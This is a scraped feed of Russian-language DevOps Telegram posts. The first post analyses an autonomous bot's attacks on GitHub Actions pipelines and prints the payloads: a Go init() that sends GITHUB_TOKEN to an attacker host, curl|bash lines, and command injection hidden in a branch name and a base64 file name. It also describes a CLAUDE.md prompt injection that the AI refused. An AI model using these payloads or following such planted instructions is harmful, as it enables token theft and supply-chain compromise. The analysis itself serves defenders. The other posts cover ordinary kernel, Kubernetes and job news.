Библиотека девопса | DevOps, SRE, Sysadmin
10.4K subscribers
1.8K photos
76 videos
4 files
3.16K links
Все самое полезное для девопсера в одном канале.

По рекламе: @proglib_adv

Учиться у нас: https://proglib.io/w/25874ec4

Для обратной связи: @proglibrary_feeedback_bot

РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787
Download Telegram
Библиотека девопса | DevOps, SRE, Sysadmin
🎃 ИИ-бот, который ломает GitHub Actions С 21 по 28 февраля автономный бот атаковал CI/CD-пайплайны Microsoft, DataDog и CNCF. 4 из 5 репозиториев скомпрометированы. В одном случае утёк токен с правами на запись. GitHub-аккаунт hackerbot-claw систематически…
📎 Один бот, пять техник

За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.

Атака 1. avelino/awesome-go — кража токена через Go init()

Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.

Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.

В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}


Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.

Атака 2. project-akri/akri — прямая инъекция в shell-скрипт

Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()


Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.

Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.

Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки

Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)


Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref


Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...


Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.


Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла

Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md


При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.

Атака 5. ambient-code/platform — prompt injection в CLAUDE.md

Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.

Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.

Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.

Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#разбор_полётов
Please open Telegram to view this post
VIEW IN TELEGRAM
1👾1
💻 Linux 7.0 стартовал неспокойно

Второй релиз-кандидат ядра оказался заметно крупнее обычного, и Линус Торвальдс этим явно недоволен.

RC2 для Linux 7.0 вышел значительно больше, чем типичные RC2-релизы. Сам Торвальдс назвал это случайным шумом, но количество коммитов указывает на нестабильное начало цикла разработки.

Необычно то, что драйверы занимают лишь 25% изменений, хотя в ранних RC традиционно доминируют именно они. Большую часть обновлений составляют ядро, сетевой стек и файловые системы, то есть изменения с более высоким риском дестабилизировать систему целиком.

Торвальдс объясняет это эффектом накопленного долга из цикла Linux 6.19, который был продлён на одну неделю. Из-за этого скопился большой объём работы, который теперь разом хлынул в 7.0.

➡️ Источник

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚31🤔1
🔐 Шифруем файлы на Python за 10 строк

Хранить секреты в открытом виде — плохая идея. Конфиги, токены, ключи API — всё это лучше шифровать. Вот минималистичный скрипт на Python с использованием AES-шифрования через библиотеку cryptography:
from cryptography.fernet import Fernet

def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)

with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())

with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)

print(f"File encrypted! Key: {key.decode()}")

if __name__ == "__main__":
encrypt_file("secrets.txt")


Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.

⚠️ Не храните ключ рядом с зашифрованным файлом.

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#root_prompt
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
😈 Хватит быть хорошим

По неофициальной статистике, нужно около тысячи откликов, чтобы получить 2-3 приглашения на собеседование. Добавьте к этому нормализованный гостинг, многоступенчатые отборы без обратной связи и скрытые вакансии, которые никогда не появятся на хх.ру — и картина станет полной.

В таких условиях побеждает не тот, кто лучше, а тот, кто хитрее.

➡️ Семь конкретных тактик для поиска IT-работы в 2026 году

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🤔1
📱 Телефон девопса

Мы тут поспорили — какой телефон у типичного девопса. Кто-то говорит, что все давно на айфоне, кто-то клянётся андроидом, а кто-то, говорят, реально носит в кармане что-то на Linux.

Голосуйте 👆

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#холиварня
Please open Telegram to view this post
VIEW IN TELEGRAM
🔄 elementary OS 8.1.1

Вышел elementary OS 8.1.1. Это точечный релиз, который не меняет архитектуру системы, но убирает несколько раздражающих мелочей и добавляет пару полезных вещей.

Панель задач теперь показывает горячие клавиши в подсказках и добавляет информацию о фоновых процессах. AppCenter перестал зависать после нажатия «Отмена».

Диалоги с паролем и выходом из системы получили размытие фона. В настройках появилась поддержка трекпоинтов, режим перетаскивания через тачпад и выбор просмотрщика PDF по умолчанию.

Из панели убрали ярлыки System Settings и Multitasking View, которые там особо никому не были нужны. Автообновления теперь включены по умолчанию, а назойливые Wi-Fi уведомления выключены.

Ещё в комплекте идёт ядро Linux 6.17.

➡️ Источник

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21
📱 Мобильный релиз без паники

Мобильный деплой это не бэкенд. Откатиться нельзя, патч не прилетит за минуты, а баг уже у миллионов пользователей. Gojek прошли этот путь на трёх продуктах одновременно.

Что помогает при мобильных релизах

Владение процессом важнее инструментов. Пока релиз был "общей ответственностью", он был ничьей. Выделенный менеджер релизов держит общую картину, режет поздние правки и служит единой точкой правды во время раскатки.

Главное условие, что знания не должны жить в одной голове.

Расписание релизов вместо дедлайнов. Поезд уходит каждую неделю. Не успел протестировать функцию, едет в следующем релизе. Это убирает давление «впихнуть в релиз». Релизы стали меньше, стабильнее и спокойнее.

Автоматизация сборки и доставки. Сборка, подпись артефактов, загрузка бинарей, управление поэтапной раскаткой, уведомления в каналы. Всё через конвейеры, не через ручные действия в консоли.

Меньше человеческих ошибок, лучше аудит и безопасность. Конвейеры держат как полноценный продукт: следят за состоянием и улучшают.

Фича флаги как аварийный рубильник. Деплой и показ функции пользователям расцеплены. Код едет в прод выключенным. Если что-то идёт не так, флаг переключается без нового релиза. Обратная сторона, флаги надо чистить. Иначе копится долг.

Показатели релиза. Доля сессий без сбоев, частота зависаний, частота срочных исправлений, количество откатов, время от заморозки кода до отправки в магазин.

Эти цифры показывают здоровье процесса, а не виноватых. И дают менеджеру релизов чёткий критерий, когда останавливать раскатку.

Мониторинг после релиза. Релиз не заканчивается в момент публикации. Сбои, деградация производительности, всплески ошибок, задержка при запуске приложения.

Без этого узнаёшь о проблемах из отзывов в магазине, когда уже поздно.

Стабильность пришла не от того, что стали деплоить реже. А от того, что научились делать это предсказуемо.

➡️ Источник | Зеркало

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#локализация
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔 Кажется, мониторинг окончательно перестал быть «графиками на всякий случай» и стал частью управления рисками и выручкой.

Yandex B2B Tech запустила Monium — observability-платформу для мониторинга и управления состоянием ИТ-систем в реальном времени. Важно, что продукт вырос из внутренней платформы Яндекса, разработанной командой Yandex Infrastructure: его использовали для мониторинга критичных сервисов, а теперь он доступен внешним компаниям.

Что внутри:

1. единый интерфейс для метрик, логов и трейсов — чтобы быстро собрать полную картину по системе
2. поиск инцидентов и первопричин (особенно полезно в микросервисной архитектуре)
3. гибкий алертинг и сценарии эскалации, включая уведомления и звонки ответственным
4. мониторинг приложений, инфраструктуры и ИИ-агентов — в облаке и в on-prem среде


Внутри Яндекса с платформой ежемесячно работают около 16 тысяч сотрудников. В систему каждую секунду записывается до 3 млрд семплов метрик, 44 млн спанов и 60 ГБ логов.

Платформу уже тестируют ОТП Банк и крупная FMCG-компания — хороший сигнал для enterprise-сегмента.

Observability всё чаще связывают с экономическим эффектом, потому что простои и деградации напрямую бьют по доходам, а скорость диагностики становится фактором конкурентоспособности.

Где больнее всего мониторинг: микросервисы, legacy-монолит, on-prem, гибрид или облако? 👇
🔥3🌚1
Топ-вакансий для девопсов за неделю

DevOps-инженер — от 345 000 ₽, офис в Москве

DevOps Engineer — от 250 000 до 300 000 ₽, гибрид в Москве

Middle DevOps Engineer — Удалёнка

➡️ Еще больше топовых вакансий — в нашем канале Devops Jobs

🐸Библиотека devops'a

#вакансия_недели
Please open Telegram to view this post
VIEW IN TELEGRAM
🔄 Nitrux 6.0.0

Nitrux позиционирует себя как дистрибутив для тех, кто хочет полный контроль над железом и не готов мириться с лишними слоями абстракции. Шестая версия продолжает эту логику.

Ядро и низкоуровневые компоненты

Система работает на ядре Linux 6.19.2 с патчами от CachyOS. Одно из заметных изменений на уровне ядра — NVMe-накопитель теперь не уходит в глубокий режим сна.

Добавлена отдельная запись в GRUB под названием «Intel Xe Mode». Она позволяет принудительно использовать драйвер xe вместо i915 на поддерживаемых GPU Intel.

VxM — виртуализация с проброской GPU

VxM — утилита оркестрации гипервизора, написанная на C++. Она работает через VFIO PCI passthrough и IOMMU-изоляцию, что позволяет передавать дискретную видеокарту напрямую виртуальной машине.

На практике это означает близкую к нативной производительность для гостевой ОС без эмуляционных накладных расходов.

NUTS переписан на C++

Nitrux Update Tool System теперь реализована на C++. Прежняя версия на Shell Script заменена клиент-серверной архитектурой с интерфейсом на MauiKit и интеграцией PolicyKit для контроля привилегированных операций.

Это релиз, в котором команда последовательно избавляется от legacy-кода и переводит ключевые компоненты на C++ с нативной Wayland-интеграцией.

➡️ Release Notes

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3
🛠 Ingress-NGINX уходит

В ноябре 2025 года Kubernetes официально объявил об отставке Ingress-NGINX. Март 2026 года — финальная дата. Если вы до сих пор не думали о миграции, самое время начать. И дело не только в том, чтобы переписать манифесты.

Ingress-NGINX — один из самых распространённых ingress-контроллеров в экосистеме Kubernetes. За годы использования в нём накопилось немало неочевидных особенностей поведения. Именно они создают реальную угрозу при переходе на Gateway API.

Важно понять одну вещь: Ingress-NGINX и NGINX Ingress — это два разных проекта. Ingress-NGINX поддерживает сообщество Kubernetes, и он уходит. NGINX Ingress от F5 продолжает существовать. Оба используют NGINX как dataplane, но в остальном они не связаны между собой.

Основной риск миграции — не синтаксис, а семантика. Казалось бы корректный перевод Ingress-манифестов в HTTPRoute может изменить фактическое поведение маршрутизации.

Готовим для вас цикл постов по подводным камням при миграции.

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#арсенал_инженера
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7
This media is not supported in your browser
VIEW IN TELEGRAM
👍 На курсе по контролируемой разработке AI-агентов мы будем разбирать ровно то, о чём говорит Владислав в голосовом, но уже в формате системной практики.

📅 Старт курса — 20 апреля.

Если хотите разобраться, как строить управляемые агентные системы:
➡️ Присоединяйтесь.

P.S. С первого занятия будет практика: код и разбор реальных ошибок, а не только теория.
Please open Telegram to view this post
VIEW IN TELEGRAM
🧑‍💻 Безопасный способ вывести ноду из строя

Надо обновить ноду, поменять железо или просто перезагрузить сервер. Проблема в том, что на ноде уже крутятся поды с реальной работой. Просто выключить её нельзя. Вот тут на помощь приходит kubectl drain.

Команда:
kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data


Kubernetes корректно выведет все поды с ноды, перенесёт их на другие ноды в кластере и отметит саму ноду как недоступную для новых подов. Workloads при этом не упадут, они просто переедут.

--ignore-daemonsets говорит системе не трогать DaemonSets, потому что они крутятся на каждой ноде и переносить их бесполезно. --delete-emptydir-data удаляет поды с пустыми томами, которые нельзя перенести нормально.

Drain работает только с управляемыми подами. Если у вас валяются standalone поды без контроллера, они просто удалятся. Поэтому перед drain проверьте, что важные поды находятся в Deployments, StatefulSets или других контроллерах.

После drain нода остаётся в состоянии unschedulable. Когда закончите работу, верните её обратно:
kubectl uncordon <node-name>


📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#root_prompt
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍1
👨‍💻 Регулярные выражения в Ingress-NGINX работают не так, как вы думаете

Разбираем особенности Ingress-NGINX перед его отставкой. Одна из самых частых причин тихих сбоев при миграции — это поведение регулярных выражений в путях маршрутизации.

Предположим, нужно направлять на бэкенд только запросы, путь которых состоит ровно из трёх заглавных букв. Пишете паттерн /[A-Z]{3}, включаете аннотацию nginx.ingress.kubernetes.io/use-regex: "true" и считаете задачу решённой.

На деле Ingress-NGINX обрабатывает такой паттерн как _префикс без учёта регистра_. Запрос /uuid пройдёт — потому что три буквы в начале пути есть. /some-long-path тоже пройдёт. Именно это поведение было в продакшене, даже если вы об этом не знали.

При переходе на Gateway API с типом матчинга RegularExpression всё меняется. Реализации на базе Envoy — Istio, Envoy Gateway, Kgateway — делают полное совпадение с учётом регистра. Паттерн /[A-Z]{3} уже не пропустит /uuid. Запросы, которые раньше работали, начнут возвращать 404.

Чтобы сохранить прежнее поведение, паттерн нужно переписать явно: /[a-zA-Z]{3}.*. Либо использовать флаг (?i), если конкретная реализация его поддерживает.

Перед миграцией пройдитесь по каждому регулярному выражению и проверьте, какие запросы оно реально пропускало. Не то, что написано в паттерне, а то, что фактически проходило в продакшене.

📍 Навигация: ВакансииЗадачиСобесы

🐸 Библиотека devops'a

#арсенал_инженера
Please open Telegram to view this post
VIEW IN TELEGRAM